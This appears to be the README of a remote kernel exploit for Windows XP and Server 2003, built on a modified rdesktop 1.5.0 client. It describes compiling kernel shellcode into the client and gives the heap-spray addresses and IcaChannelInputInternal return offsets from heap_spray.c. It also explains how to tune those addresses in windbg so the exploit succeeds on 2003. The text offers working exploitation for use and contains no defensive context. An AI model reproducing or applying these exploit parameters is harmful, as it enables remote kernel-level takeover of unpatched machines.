
ça fonctionne sur xp (toutes versions sp2 sp3)
ps: shellcode/shellcode.asm est le code source du shellcode noyau, après compilation en binaire, c'est le fichier rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b, il est directement compilé dans le programme lors du make.
Actuellement, seul XP est supporté, besoin de mémoire XP >= 2 Go
Pour prendre en charge 2003, il faut modifier l'adresse macro HEAP_SPRAY_ADDRESS dans heap_spray.c. Après des tests répétés, cette adresse varie selon les versions du système 03 et la taille de la mémoire. Cependant, si vous testez sur votre propre machine, l'exploitation peut réussir sur 03. Pas universel.
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
Test sur 03
